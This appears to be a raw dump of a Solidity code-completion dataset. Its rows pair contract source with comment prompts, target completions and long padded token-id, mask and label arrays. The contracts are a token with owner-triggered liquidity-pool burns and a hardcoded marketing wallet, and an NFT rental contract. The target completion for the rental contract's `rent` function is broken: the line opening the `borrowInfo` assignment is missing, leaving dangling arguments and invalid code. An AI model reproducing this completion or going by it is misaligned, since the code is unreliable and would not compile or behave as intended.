);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
set as marketing wallet
|
marketingWallet = address(0x4F051679c422263d2A048D3A97a51Db28818C7a9);
| 6,549,183 |
[
1,
4625,
348,
7953,
560,
30,
225,
444,
487,
13667,
310,
9230,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
13667,
310,
16936,
273,
1758,
12,
20,
92,
24,
42,
6260,
2313,
7235,
71,
24,
28855,
4449,
72,
22,
37,
3028,
28,
40,
23,
37,
10580,
69,
10593,
4331,
22,
5482,
2643,
39,
27,
69,
29,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract GameLand is ERC721Holder {
address public testnft;
constructor(address _nftaddress) {
testnft = _nftaddress;
}
struct Nft {
//price represent in ether
uint256 price_per_day;
uint256 duration;
uint256 collatoral;
uint256 totalprice;
}
struct borrowInfo {
address borrower;
uint256 repay_time;
}
//NFT => (borrower ,repay_time)
mapping(uint256 => borrowInfo) public borrow_status;
//NFT => basci_info
mapping(uint256 => Nft) public nft_basic_status;
// nft => address, origin owner
mapping(uint256 => address) public nft_owner;
//record a NFT is borrowed or not
mapping(uint256 => bool) public borrow_or_not;
event Received(address from, address to, uint256 nft_id);
event Withdrawed(address from, address to, uint256 nft_id);
event Rented(address from, address to, uint256 nft_id);
event Liquidation(address caller, uint256 nft_id);
//NFT owner transfer ownership to Origin, set price, duration, collatoral, represent in eth;
//need approve
function deposit(
uint256 pricePerDay,
uint256 duration,
uint256 nft_id,
uint256 collatoral
) public {
//this function will check everything
(bool success, ) = testnft.call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
msg.sender,
address(this),
nft_id
)
);
require(success);
uint256 totalprice = pricePerDay * duration + collatoral;
nft_basic_status[nft_id] = Nft(
pricePerDay,
duration,
collatoral,
totalprice
);
nft_owner[nft_id] = msg.sender;
borrow_or_not[nft_id] = false;
emit Received(msg.sender, address(this), nft_id);
}
//owner withdraw nft when nft is not borrowing
function withdrawnft(uint256 nft_id) public {
require(!borrow_or_not[nft_id], "The nft alrady been borrowed");
require(msg.sender == nft_owner[nft_id], "Only owner can withdraw NFT");
(bool success, ) = testnft.call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
address(this),
msg.sender,
nft_id
)
);
require(success);
delete nft_basic_status[nft_id];
delete nft_owner[nft_id];
delete borrow_or_not[nft_id];
emit Withdrawed(address(this), msg.sender, nft_id);
}
// borrower rent,this function will transfer rent to owner
function rent(uint256 nft_id) public payable {
require(
nft_basic_status[nft_id].totalprice <= msg.value,
"Not enough money"
);
require(!borrow_or_not[nft_id], "Already been borrowed out");
(bool success, ) = testnft.call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
address(this),
msg.sender,
nft_id
)
);
require(success);
uint256 price = nft_basic_status[nft_id].price_per_day *
nft_basic_status[nft_id].duration;
uint pay_to_owner = price - (price * 3) / 100;
(bool rent_success, ) = nft_owner[nft_id].call{
value: pay_to_owner
}("");
require(rent_success);
uint256 duration = nft_basic_status[nft_id].duration;
borrow_or_not[nft_id] = true;
//fix duration time
borrow_status[nft_id] = borrowInfo(
msg.sender,
duration * 1 days + block.timestamp
);
emit Rented(address(this), msg.sender, nft_id);
}
// borrower repay nft
//need approve
function repay(uint256 nft_id) public {
require(borrow_or_not[nft_id], "the nft has not been borrowed");
(bool success, ) = testnft.call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
msg.sender,
address(this),
nft_id
)
);
require(success);
(bool collatoral_success, ) = borrow_status[nft_id].borrower.call{
value: nft_basic_status[nft_id].collatoral
}("");
require(collatoral_success);
delete borrow_status[nft_id];
delete borrow_or_not[nft_id];
emit Received(msg.sender, address(this), nft_id);
}
//owner take collatoral when aggrement broken
function liquidation(uint256 nft_id) public {
require(borrow_or_not[nft_id], "the nft has not been borrowed");
require(msg.sender == nft_owner[nft_id], "Only owner can liquidation");
require(borrow_status[nft_id].repay_time <= block.timestamp, "Not yet");
(bool success, ) = nft_owner[nft_id].call{
value: nft_basic_status[nft_id].collatoral
}("");
require(success);
nft_owner[nft_id] = borrow_status[nft_id].borrower;
delete borrow_status[nft_id];
delete borrow_or_not[nft_id];
emit Liquidation(msg.sender, nft_id);}
//added by ting
function get_testnft() public view returns (address) {
return testnft;
}
//added by ting
function get_all_nftinfo(uint256 id)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
return (
nft_basic_status[id].price_per_day,
nft_basic_status[id].duration,
nft_basic_status[id].collatoral,
nft_basic_status[id].totalprice
);
}
//Get the borrower, repay_time, added by ting
function get_borrow_info(uint256 nft_id) public view returns (address, uint256) {
return (
borrow_status[nft_id].borrower,
borrow_status[nft_id].repay_time
);
}
//Check a NFT is borrowed or not, added by ting
function check_the_borrow_status(uint256 nft_id) public view returns (bool) {
return borrow_or_not[nft_id];
}
//Query the owner of a NFT, added by ting
function query_the_nft_owner(uint256 nft_id) public view returns (address) {
return nft_owner[nft_id];
}
}
|
borrower rent,this function will transfer rent to owner
|
function rent(uint256 nft_id) public payable {
require(
nft_basic_status[nft_id].totalprice <= msg.value,
"Not enough money"
);
require(!borrow_or_not[nft_id], "Already been borrowed out");
(bool success, ) = testnft.call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
address(this),
msg.sender,
nft_id
)
);
require(success);
uint256 price = nft_basic_status[nft_id].price_per_day *
nft_basic_status[nft_id].duration;
uint pay_to_owner = price - (price * 3) / 100;
(bool rent_success, ) = nft_owner[nft_id].call{
value: pay_to_owner
}("");
require(rent_success);
uint256 duration = nft_basic_status[nft_id].duration;
borrow_or_not[nft_id] = true;
msg.sender,
duration * 1 days + block.timestamp
);
emit Rented(address(this), msg.sender, nft_id);
}
| 7,212,171 |
[
1,
4625,
348,
7953,
560,
30,
225,
29759,
264,
283,
496,
16,
2211,
445,
903,
7412,
283,
496,
358,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
496,
12,
11890,
5034,
290,
1222,
67,
350,
13,
1071,
8843,
429,
288,
203,
540,
203,
3639,
2583,
12,
203,
5411,
290,
1222,
67,
13240,
67,
2327,
63,
82,
1222,
67,
350,
8009,
4963,
8694,
1648,
1234,
18,
1132,
16,
203,
5411,
315,
1248,
7304,
15601,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
5,
70,
15318,
67,
280,
67,
902,
63,
82,
1222,
67,
350,
6487,
315,
9430,
2118,
29759,
329,
596,
8863,
203,
3639,
261,
6430,
2216,
16,
262,
273,
1842,
82,
1222,
18,
1991,
12,
203,
5411,
24126,
18,
3015,
1190,
5374,
12,
203,
7734,
315,
4626,
5912,
1265,
12,
2867,
16,
2867,
16,
11890,
5034,
2225,
16,
203,
7734,
1758,
12,
2211,
3631,
203,
7734,
1234,
18,
15330,
16,
203,
7734,
290,
1222,
67,
350,
203,
5411,
262,
203,
3639,
11272,
203,
3639,
2583,
12,
4768,
1769,
203,
3639,
2254,
5034,
6205,
273,
290,
1222,
67,
13240,
67,
2327,
63,
82,
1222,
67,
350,
8009,
8694,
67,
457,
67,
2881,
380,
203,
5411,
290,
1222,
67,
13240,
67,
2327,
63,
82,
1222,
67,
350,
8009,
8760,
31,
203,
540,
203,
3639,
2254,
8843,
67,
869,
67,
8443,
273,
6205,
225,
300,
261,
8694,
225,
380,
890,
13,
342,
2130,
31,
203,
3639,
261,
6430,
283,
496,
67,
4768,
16,
262,
273,
290,
1222,
67,
8443,
63,
82,
1222,
67,
350,
8009,
1991,
95,
203,
2398,
203,
5411,
460,
30,
8843,
67,
869,
67,
8443,
7010,
3639,
289,
2932,
8863,
203,
3639,
2583,
12,
547,
67,
4768,
1769,
203,
203,
3639,
2254,
5034,
3734,
273,
290,
1222,
67,
13240,
67,
2327,
63,
82,
1222,
67,
350,
8009,
8760,
31,
203,
3639,
29759,
67,
280,
67,
902,
63,
82,
1222,
67,
350,
65,
273,
638,
31,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
3734,
380,
404,
4681,
397,
1203,
18,
5508,
203,
3639,
11272,
203,
3639,
3626,
534,
319,
329,
12,
2867,
12,
2211,
3631,
1234,
18,
15330,
16,
290,
1222,
67,
350,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
